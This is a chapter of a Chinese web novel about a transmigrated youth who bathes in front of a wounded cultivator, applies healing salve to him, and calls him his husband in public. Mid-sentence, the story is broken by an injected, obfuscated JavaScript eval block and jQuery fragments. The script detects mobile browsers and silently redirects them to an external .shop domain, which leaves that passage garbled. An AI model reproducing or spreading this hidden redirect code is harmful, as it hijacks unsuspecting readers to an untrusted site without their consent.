玉音站在屋子中央,整个人都懵在原地。
屋子就这么大,要洗澡只能当着莫衍的面洗。
玉音回头看了一眼靠在床头的男人,莫衍似笑非笑地看着他,深邃的眼眸里含着几分玩昧,摆明要看他怎么应对。
他咬了咬唇瓣,心里把男人骂了八百遍,可转念一想大家都是男人,怕什么啊!
虽然他是直男,可特殊情况特殊对待嘛!
而且莫衍现在伤成这样,就算想做什么也做不了吧……?……应该吧?
玉音有些心虚,做了半天的心理建设,心下一横,银牙一咬,背对莫衍解开衣带。
外衫滑落,露出单薄的中衣。
玉音的动作很慢,像是在故意拖延时间,他的手指微微发抖,解了好几次才把中衣的系带解开。
布料顺着肩头滑下,露出大片白皙的肌肤。
月光从窗外洒落进来,落在他瘦削的背上,蝴蝶骨浮现,线条优美,腰肢纤细不堪一握,两侧的腰窝深深凹陷。
莫衍的目光落在那片白皙的背脊上,眸色微深。
他没有移开视线,就那么大大方方地看着,目光从上到下,一寸一寸审视地扫过玉音的身体。
玉音的耳朵尖红透了,整个人如同煮熟的虾子,动作也变得僵硬无比。
他飞快地把剩下的衣物褪去,然后逃也似的缩进了木盆里,溅起一片水花。
温热的水没过身体,总算是给了他一点点安全感。
玉音蹲在木盆里,双手抱着膝盖,整个人缩成一团,只露出一个脑袋在外面。
水汽氤氲,模糊了他的轮廓。
他的脸颊在水雾中若隐若现,眉间一点红格外的醒目,清艳夺目,睫毛上沾的水珠随着眨眼的动作发颤。
热水蒸腾上来。
绯色从他眼角蔓延开,一路染到耳根,又顺着脖颈向下延伸,消失在水汽中。
他本就生得好看,此刻更像是被温水浸润过的白玉,摄人心魄。
莫衍的目光始终没有离开过他。
他看着玉音在水汽中泛红的脸颊,视线往下,慢慢滑落到那双因为窘迫而四处乱瞟的眼睛……水面下若隐若现的身躯。
莫衍看着这个小妖怪,生出几分难得的兴味。
玉音飞快地洗完,跨出木盆,手忙脚乱地套上干净的衣服。
等他穿戴整齐,脸上的红晕还没完全消退。
“我洗完了。”玉音低着头,闷闷道。
“嗯。”莫衍应了一声,目光停留在他身上,带着若有所思的神色。
玉音被他看得浑身不自在,连忙转移话题:“你的伤……要不要换药?”
莫衍沉默片刻,从储物戒指里取出一个玉瓶。
款式一看就很昂贵,瓶身通体莹白,雕刻着复杂的纹路,流光转动。
玉音接过玉瓶,打开瓶盖,浓郁的药香扑面而来,光是闻一闻就觉得神清气爽,体内的灵力都活跃了几分。
他瞳孔微缩。
这是……九转玉露膏?!
原著里提过的顶级疗伤灵药?!
九转玉露膏据说炼制繁琐,需要的材料无一不是天材地宝,市面上根本买不到,只有底蕴深厚的大宗门或隐世世家才可能珍藏。
玉音估摸着自己在书斋打上十年工,就算不吃不喝,攒下来的灵石也买不起这药瓶的一个角。
这就是龙傲天的待遇吗?
随便拿出来的东西都是别人一辈子都接触不到的宝贝。
玉音在心里感叹了一番,然后小心翼翼地从玉瓶里蘸取了一些药膏,准备给莫衍上药。
玉音开口:“你把衣服脱了。”
莫衍看了他一眼,没有说话,但还是配合地解开了衣袍。
胸膛裸露出来的一瞬间,玉音倒吸了一口凉气。
莫衍的身上几乎没有一块完好的皮肤,纵横交错的伤口遍布全身,最深的一道从锁骨一直延伸到腰腹,皮肉翻卷,隐约能看到里面的白骨,有些伤口边缘还残留着焦黑的痕迹,散发出淡淡的焦糊味。
玉音的手指悬在那些伤口上方,一时间竟不知道该从哪里下手。
很难想象,一个人受了这么重的伤,是怎么保持清醒的同时还不忘威胁他的。
“愣着干什么?”莫衍的声音带着不耐。
玉音回过神来,连忙把药膏涂在指尖,轻柔地抹在莫衍的伤口上。
他的动作很轻,生怕弄疼了对方,指腹带着温热的触感,在莫衍的胸膛上游走。
药膏接触到皮肤的瞬间便开始发挥作用,清凉的感觉渗透进伤口深处,原本狰狞的创口以肉眼可见的速度开始愈合。
玉音专注地涂着药,完全没注意到莫衍看他的眼神。
那双深邃的眼睛里探究的意味越来越浓。
涂完药,玉音长长地舒了口气,把玉瓶还给莫衍:“好了,伤口已经开始愈合了,应该过两天就能好得差不多。”
“你经常给人上药?”莫衍忽然开口。
玉音愣了一下,摇了摇头:“没有……你是第一个。”
莫衍接过玉瓶,淡淡道:“今晚你睡床。”
玉音一愣:“啊?那你……”
“我打坐即可。”
玉音张了张嘴,想说点什么,但对上莫衍那双不容置疑的眼睛,又把话咽了回去。
他爬上床,缩在最靠墙的位置,把自己裹得严严实实的。
今天发生的事情太多了,他又是穿书又是差点被杀又是被迫撒谎,精神高度紧张了一整天,此刻一放松下来,困意就如潮水般涌来。
没过多久,玉音的呼吸就变得均匀绵长。
他睡着了。
莫衍盘膝坐在床边,闭目调息。
夜色渐深,屋子里安静下来,只有玉音清浅的呼吸声在空气中回荡。
莫衍的鼻端萦绕着两种截然不同的气息。
一种是九转玉露膏清冽的药香,带着灵药特有的冷冽甘甜。
另一种是从玉音身上传来的淡淡体香,说不清是什么味道,像是山间清晨的露水混合着某种不知名的花香,清甜柔软,若有若无地飘过来,撩拨着人的嗅觉神经。
莫衍睁开眼睛,视线落到床上睡得正沉的人身上。
月光洒在玉音脸上,他睡着的样子毫无防备,睫毛在眼睑下投出浅浅的阴影,嘴唇微微张开,露出一点洁白的贝齿。
看起来乖巧极了,一点也不像是心怀不轨之徒。
下一刻,莫衍的意识空间里,一团黑雾翻滚了几下,发出懒洋洋的声音。
“啧啧啧,你还真信了?你的小妻子?”
听到这个声音,莫衍倒是没什么意外。
他当初坠崖后捡到了一堆秘宝,这团黑雾便是那秘境主人常使武器的剑魂,在暗无天日的地方待了上千年,也因此废话极多。
莫衍神色恹恹,没有回应。
黑雾继续絮叨:“不过说实话,这小妖怪确实是个美人坯子,漂亮得很呐。之前修仙界那么多绝色佳人排着队往你跟前凑,你都视若无睹,原来是喜欢这种调调的?”
莫言冷冷道,“闭嘴。”
“行行行,我不说了。”黑雾嘿嘿笑了两声,“不过你打算怎么办?就这么把他留在身边?”
莫衍开口:“我的灵力尚未恢复,仇家众多,以一己之身对抗整个宗门和家族不可取,需要时间休养生息。”
“这个小妖怪来历不明,不知是何目的,暂且以不变应万变,留在身边观察便是。”
黑雾哦哦了两声,意味深长,露出一个‘我懂’的眼神:“观
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17919676|213417||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
察观察,我看你是想观察到床上去吧。”
……烂话成篇。
莫衍懒得搭理它了。
他的目光重新落在玉音身上,神色晦暗不明。
且看看他究竟想要耍什么花样。
一夜无话。
第二天早上,玉音醒来的时候,还有点懵。
他迷迷糊糊地睁开眼,映入眼帘的是一张放大的俊脸。
莫衍正坐在床边,低头看着他,那双幽深的眼眸里没有任何情绪,就这么静静地注视着他,也不知道看了多久。
玉音一个激灵,彻底清醒了。
他坐起身,被子滑了下去,衣服有些凌乱。
“你……你醒了啊。”玉音说。
“嗯。”莫衍应了一声。
玉音想起自己昨晚编的那些瞎话,心里有些心虚,但戏已经开场了,总不能半途而废吧?
他只好硬着头皮继续演。
“那个……我要起床洗漱了,今天还得出去摆摊。”玉音说着从床上下来。
“摆摊?”莫衍看着他。
“对啊,”玉音解释道,“我之前在书斋打工,但是昨天出了点事,书斋被砸了,我也丢了工作,现在我身上没什么灵石了,得想办法赚点钱。”
他开始收拾东西,把昨天采的药材装进竹篓里。
“我打算去镇上的集市把这些药材卖了,然后再看看有没有什么零工可以做。”
玉音背上竹篓准备出门。
“等等。”
玉音停下脚,回头看莫衍。
莫衍站起身,行动已经比昨天灵活不少,九转玉露膏的效果看起来确实不错。
玉音暗道,不愧是男频龙傲天用的东西,贵有贵的道理。
“我跟你一起去。”
玉音呆了一下:“啊?你跟我一起去?”
“怎么,有问题?”莫衍看着他。
“没……没问题。”玉音摇头,心里却在呐喊:当然有问题啊!
他要是跟去了,那自己怎么跟街坊邻居解释?
玉音穿越过来后跟街坊混熟了,大家一直当他是个没爹没娘的老实孩子。
这会儿平白多出个男人说是他夫君……
玉音光是想想那个场面就直犯怵。
可一对上莫衍的眼睛,再看看这人腰上那把昨天差点要了自己命的剑,玉音把拒绝的话全憋了回去。
“那……那就一起去吧。”玉音扯了扯嘴角。
两人一前一后出了门。
镇上街道两边有商贩摆摊,空气里飘着包子油条的香味。
玉音走在前头,莫衍跟在后头。
莫衍的面容冷峻,棱角分明,一身简单的长袍穿在他身上,硬是显出几分旁人没有的矜贵,鹤立鸡群。
旁边路过的人纷纷侧目,小声嘀咕。
“诶,你看那个人,好高的个子,长得也好俊。”
“那气质一看就不是普通人,说不定是哪个大宗门的弟子呢。”
“他跟玉音走在一起诶,他们认识?”
玉音听着周围的议论,脑袋越埋越低,下巴都快戳到胸口的竹篓了。
该来的躲不掉。
“玉音早啊。”隔壁卖包子的王大娘招呼道,“今天这么早就出门啦?这位是……”
王大娘盯着莫衍上下打量,满脸八卦。
玉音脑子嗡了一下,结巴道:“王……王姨早,这位是……”
说到这他卡壳了。
玉音本想说这是朋友,可哪有朋友一大早从一个屋里出来的。
再说他刚跟莫衍撒了谎,这会儿当着外人的面翻脸不认账否认夫妻关系,小命还要不要了。
比起名声还是活着要紧。
玉音只好说:“……是我夫君。”